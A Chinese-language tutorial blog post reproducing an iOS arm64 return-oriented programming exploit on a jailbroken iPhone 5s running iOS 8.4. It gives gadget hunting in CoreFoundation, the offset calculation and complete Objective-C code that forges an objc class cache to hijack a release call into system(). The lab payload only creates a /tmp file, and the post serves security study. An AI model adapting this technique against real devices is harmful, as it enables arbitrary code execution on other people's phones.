帮招聘：
奇虎360信息安全部，招聘一位实习生
要求：在校生，211或985院校，具备iOS开发能力，懂iOS逆向最佳
投递简历：[email protected]

本文是根据蒸米大佬的文章《iOS冰与火之歌：Objective-C Pwn and iOS arm64 ROP》做的一个操作实践。
(原文地址：https://bbs.pediy.com/thread-212714.htm)

在实践过程中也遇到一些问题，逐步解决，最终成功实现。

测试环境

越狱设备：iphone5s
手机系统：iOS 8.4，越狱
电脑设备：Macbook Pro
电脑系统：macOS 10.15.1

iOS上使用ROP原理

ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术，可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。
在iOS上默认是开启ASLR+DEP+PIE的。ASLR和DEP很好理解，PIE的意思是program image本身在内存中的地址也是随机的。
所以我们在iOS上使用ROP技术必须配合信息泄露的漏洞才行。
虽然在iOS上写ROP非常困难，但有个好消息是虽然program image是随机的，但是每个进程都会加载的dyld_shared_cache这个共享缓存的地址在开机后是固定的，并且每个进程的dyld_shared_cache都是相同的。

本文实践目标：

伪造objc对象，修改类缓存里的方法指向地址指向一个CoreFoundation库的一个gadget，当方法再次被调用时，跳转到特定的gadget，实现调用 system 进程并在手机的 /tmp 目录下创建一个iceAndFire文件。

1、导出共享缓存文件

dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/这个目录下：

从手机导出 dyld_shared_cache_arm64 到电脑备用。

从dyld_shared_cachearm64 提取系统库文件：
详细方法见此文：iOS逆向抽取iOS真机系统库文件
https://mp.weixin.qq.com/s/y2hwD4gPc8eJVBAS_o2DXg

从导出的文件中找到 CoreFoundation 库的二进制文件：

接下来就是从CoreFoundation库的二进制文件中寻找合适gadget。

2、寻找合适的gadget

工具：ROPgadget
命令：ROPgadget --binary /路径/CoreFoundation
打印：

........忽略了很多内容......
0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef8c ; br x1 ; ret
.......忽略了很多内容.......

蒸米大神原文中用的gadget是：

ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1

我们从刚才的打印信息中找到一个几乎一样的gadget：

0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1

此gadget的地址是 0x0000000181ccef6c

把CoreFoundation的二进制文件拖入IDA中分析，找到 0x0000000181ccef6c 对应的汇编：

再看一下IDA里CoreFoundation的起始地址：

计算地址偏移量：
0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
0xDEF6C 就是后面要用到的地址偏移量。
这个偏移地址，必须根据你的测试设备中提取的CoreFoundation来计算。

3、根据gadget的汇编，伪造objc对象

#!objc 
struct fake_receiver_t
{
    uint64_t fake_objc_class_ptr;  //长度0x8
    uint8_t pad1[0x70-0x8];    //长度0x68
    uint64_t x0;        //长度0x8
    uint8_t pad2[0x98-0x70-0x8];  //长度0x20
    uint64_t x1;        //长度0x8
    char cmd[1024];      //长度1024
}fake_receiver;

struct fake_objc_class_t {
    char pad[0x10];
    void* cache_buckets_ptr;
    uint32_t cache_bucket_mask;
} fake_objc_class;

struct fake_cache_bucket_t {
    void* cached_sel;
    void* cached_function;
} fake_cache_bucket;

上面伪造的代码中，fake_receiver_t 这个结构体中的元素结构是跟gadget的汇编有关：

汇编"LDR x1,[x0,#0x98]"，此时汇编中的x0是 fake_receiver ，所以[x0,#0x98]就是[fake_receiver,#0x98]，[fake_receiver,#0x98] 对应的地址就是fake_receiver_t 中的 uint64_t x1; 汇编"LDR x0,[x0,#0x70]"中 [x0,#0x70] 对应 fake_receiver_t 中的 uint64_t x0；
我觉得结构体 fake_receiver_t 中的
uint8_t pad1[0x70-0x8]
和
uint8_t pad2[0x98-0x70-0x8]
都是起到占空间的作用，为了能匹配gadget汇编中的地址长度，顺利找到想要的值。

4、利用gadget实现system调用

main函数中的代码：

#!objc
int main(void) {

    Talker *talker = [[Talker alloc] init];
    [talker say: @"Hello, Ice and Fire!"];
    [talker say: @"Hello, Ice and Fire!"];
    [talker release];

    //找到 "release" 在内存中的地址
    fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
    NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
    // 获取 CoreFoundation 在手机内存中的起始地址
    uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
    NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);

    //测试机5s_ios8.4的示例：
    //本次测试的gadget是 0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
    //计算gadget在CoreFoundation库中的偏移量： 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
    // CoreFoundation_base + 0xDEF6C 得到 gadget 在内存中的地址，
    // 并赋值给fake_cache_bucket.cached_function，
    // 意思就是 fake_cache_bucket 中 release 方法对应的地址指向gadget
    fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0xDEF6C;

    NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
    // system 将要执行的命令 赋值给 fake_receiver.x0
    fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
    // system 进程地址 赋值给 fake_receiver.x1，gadget中汇编"br x1"可跳转到system
    fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
    NSLog(@"system_address = %p", (void*)fake_receiver.x1);
    // 给 fake_receiver.cmd 赋值
    strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");

    fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
    fake_objc_class.cache_bucket_mask=0;

    fake_receiver.fake_objc_class_ptr=&fake_objc_class;
    // 伪造的对象替换掉原来的 talker
    talker = &fake_receiver;
    // 再次执行 release 方法，就会跳转到 gadget的地址，汇编"br x1"调到system 并以 x0中的fake_receiver.cmd 作为参数
    [talker release];
}

看看代码中的注释，进一步理解整个过程。

最终编译代码，生成ioshello执行程序，把ioshello复制到越狱机上，"chmod +x ioshello"给它添加执行权限,测试执行ioshello结果如下：

手机的/tmp 路径下生成了一个 iceAndFire 文件，ROP利用成功：

本文xcode测试项目源码：
链接: https://pan.baidu.com/s/1EYfV1jir-GKt1OLgab0mfA 密码: md62

蒸米大佬github:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

[赠书活动] 《云计算安全》和《云存储安全实践》上线！老师留下通讯地址，即可获得赠书一套！送100套，送完为止！